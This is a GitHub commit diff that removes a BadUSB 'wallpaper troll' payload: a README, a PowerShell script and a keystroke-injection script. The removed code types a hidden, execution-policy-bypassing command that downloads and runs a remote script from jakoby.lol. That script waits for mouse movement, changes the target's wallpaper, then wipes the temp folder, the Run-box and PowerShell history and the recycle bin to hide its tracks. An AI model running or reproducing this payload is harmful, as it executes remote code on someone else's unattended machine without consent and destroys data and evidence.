Delete Payloads/Flip-WallPaper-URL directory
This commit is contained in:
I-Am-Jakoby
GitHub
parent
6959943969
commit
51b2b62870
3 changed files with 0 additions and 231 deletions
|
|
@ -1,112 +0,0 @@
|
||||||
|
|
||||||
|
|
||||||
<!-- TABLE OF CONTENTS -->
|
|
||||||
<details>
|
|
||||||
<summary>Table of Contents</summary>
|
|
||||||
<ol>
|
|
||||||
<li><a href="#Description">Description</a></li>
|
|
||||||
<li><a href="#getting-started">Getting Started</a></li>
|
|
||||||
<li><a href="#Contributing">Contributing</a></li>
|
|
||||||
<li><a href="#Version-History">Version History</a></li>
|
|
||||||
<li><a href="#Contact">Contact</a></li>
|
|
||||||
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
|
||||||
</ol>
|
|
||||||
</details>
|
|
||||||
|
|
||||||
# Wallpaper-URL
|
|
||||||
|
|
||||||
This payload will download an image from any URL and set it as the target's wallpaper.
|
|
||||||
|
|
||||||
## Description
|
|
||||||
|
|
||||||
Use this program to troll your friends. Find any image online and grab the URL and insert it into the PS1 script.
|
|
||||||
Run this payload and step away. Once a mouse movement is detected, their wallpaper will change right in front of their eyes.
|
|
||||||
Lastly, to clean up your tracks behind you, the tmp folder will be emptied and the PowerShell and run box history will be wiped.
|
|
||||||
|
|
||||||
|
|
||||||
## Getting Started
|
|
||||||
|
|
||||||
### Dependencies
|
|
||||||
|
|
||||||
* Windows 10,11
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
### Executing program
|
|
||||||
|
|
||||||
* Plug in your device
|
|
||||||
* Invoke-WebRequest will be entered in the Run Box to download and execute the script from memory
|
|
||||||
* Place your images URL in the $url variable
|
|
||||||
```
|
|
||||||
powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex
|
|
||||||
```
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
## Contributing
|
|
||||||
|
|
||||||
All contributors names will be listed here
|
|
||||||
|
|
||||||
I am Jakoby
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
## Version History
|
|
||||||
|
|
||||||
* 0.1
|
|
||||||
* Initial Release
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
<!-- CONTACT -->
|
|
||||||
## Contact
|
|
||||||
|
|
||||||
<h2 align="center">📱 My Socials 📱</h2>
|
|
||||||
<div align=center>
|
|
||||||
<table>
|
|
||||||
<tr>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://youtube.com/c/IamJakoby?sub_confirmation=1">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width="48" height="48" alt="C#" />
|
|
||||||
</a>
|
|
||||||
<br>YouTube
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://twitter.com/I_Am_Jakoby">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width="48" height="48" alt="Python" />
|
|
||||||
</a>
|
|
||||||
<br>Twitter
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://www.instagram.com/i_am_jakoby/">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/insta.png width="48" height="48" alt="Golang" />
|
|
||||||
</a>
|
|
||||||
<br>Instagram
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://discord.gg/MYYER2ZcJF">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width="48" height="48" alt="Jsonnet" />
|
|
||||||
</a>
|
|
||||||
<br>Discord
|
|
||||||
</td>
|
|
||||||
<td align="center" width="96">
|
|
||||||
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
|
||||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
|
||||||
</a>
|
|
||||||
<br>TikTok
|
|
||||||
</td>
|
|
||||||
</tr>
|
|
||||||
</table>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
||||||
<!-- ACKNOWLEDGMENTS -->
|
|
||||||
## Acknowledgments
|
|
||||||
|
|
||||||
* [Hak5](https://hak5.org/)
|
|
||||||
* [MG](https://github.com/OMG-MG)
|
|
||||||
|
|
||||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
|
||||||
|
|
@ -1,103 +0,0 @@
|
||||||
# URL is for if you want to host your own copy of this payload
|
|
||||||
|
|
||||||
#$url = ""
|
|
||||||
|
|
||||||
|
|
||||||
$wp = "$Env:tmp\---wp.png"
|
|
||||||
|
|
||||||
iwr $url -O $wp
|
|
||||||
|
|
||||||
Function Set-WallPaper {
|
|
||||||
|
|
||||||
param (
|
|
||||||
[parameter(Mandatory=$True)]
|
|
||||||
# Provide path to image
|
|
||||||
[string]$Image,
|
|
||||||
# Provide wallpaper style that you would like applied
|
|
||||||
[parameter(Mandatory=$False)]
|
|
||||||
[ValidateSet('Fill', 'Fit', 'Stretch', 'Tile', 'Center', 'Span')]
|
|
||||||
[string]$Style
|
|
||||||
)
|
|
||||||
|
|
||||||
$WallpaperStyle = Switch ($Style) {
|
|
||||||
|
|
||||||
"Fill" {"10"}
|
|
||||||
"Fit" {"6"}
|
|
||||||
"Stretch" {"2"}
|
|
||||||
"Tile" {"0"}
|
|
||||||
"Center" {"0"}
|
|
||||||
"Span" {"22"}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
If($Style -eq "Tile") {
|
|
||||||
|
|
||||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
|
||||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 1 -Force
|
|
||||||
|
|
||||||
}
|
|
||||||
Else {
|
|
||||||
|
|
||||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name WallpaperStyle -PropertyType String -Value $WallpaperStyle -Force
|
|
||||||
New-ItemProperty -Path "HKCU:\Control Panel\Desktop" -Name TileWallpaper -PropertyType String -Value 0 -Force
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
Add-Type -TypeDefinition @"
|
|
||||||
using System;
|
|
||||||
using System.Runtime.InteropServices;
|
|
||||||
|
|
||||||
public class Params
|
|
||||||
{
|
|
||||||
[DllImport("User32.dll",CharSet=CharSet.Unicode)]
|
|
||||||
public static extern int SystemParametersInfo (Int32 uAction,
|
|
||||||
Int32 uParam,
|
|
||||||
String lpvParam,
|
|
||||||
Int32 fuWinIni);
|
|
||||||
}
|
|
||||||
"@
|
|
||||||
|
|
||||||
$SPI_SETDESKWALLPAPER = 0x0014
|
|
||||||
$UpdateIniFile = 0x01
|
|
||||||
$SendChangeEvent = 0x02
|
|
||||||
|
|
||||||
$fWinIni = $UpdateIniFile -bor $SendChangeEvent
|
|
||||||
|
|
||||||
$ret = [Params]::SystemParametersInfo($SPI_SETDESKWALLPAPER, 0, $Image, $fWinIni)
|
|
||||||
}
|
|
||||||
|
|
||||||
function Target-Comes {
|
|
||||||
Add-Type -AssemblyName System.Windows.Forms
|
|
||||||
$originalPOS = [System.Windows.Forms.Cursor]::Position.X
|
|
||||||
$o=New-Object -ComObject WScript.Shell
|
|
||||||
|
|
||||||
while (1) {
|
|
||||||
$pauseTime = 3
|
|
||||||
if ([Windows.Forms.Cursor]::Position.X -ne $originalPOS){
|
|
||||||
break
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$o.SendKeys("{CAPSLOCK}");Start-Sleep -Seconds $pauseTime
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
function Clean-Exfil {
|
|
||||||
|
|
||||||
# empty temp folder
|
|
||||||
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
|
||||||
|
|
||||||
# delete run box history
|
|
||||||
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
|
||||||
|
|
||||||
# Delete powershell history
|
|
||||||
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
|
||||||
|
|
||||||
# Empty recycle bin
|
|
||||||
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
Target-Comes
|
|
||||||
Set-WallPaper -Image $wp -Style Fill
|
|
||||||
Clean-Exfil
|
|
||||||
|
|
@ -1,16 +0,0 @@
|
||||||
REM Title: Wallpaper-Troll
|
|
||||||
REM
|
|
||||||
REM Author: I am Jakoby
|
|
||||||
REM
|
|
||||||
REM Description: This payload will change your targets wallpaper to an image from a provided url
|
|
||||||
REM Target: Windows 10, 11
|
|
||||||
REM
|
|
||||||
REM --------------------------------------------------------------------------------------
|
|
||||||
REM THIS PAYLOAD IS PLUG AND PLAY. NO MODIFICATIONS NEEDED SIMPLY RUN THE CODE DOWN BELOW.
|
|
||||||
REM --------------------------------------------------------------------------------------
|
|
||||||
REM
|
|
||||||
GUI r
|
|
||||||
DELAY 500
|
|
||||||
STRING powershell -w h -NoP -NonI -Exec Bypass $url='URL-HERE';irm jakoby.lol/pkw | iex
|
|
||||||
DELAY 500
|
|
||||||
ENTER
|
|
||||||
Loading…
Reference in a new issue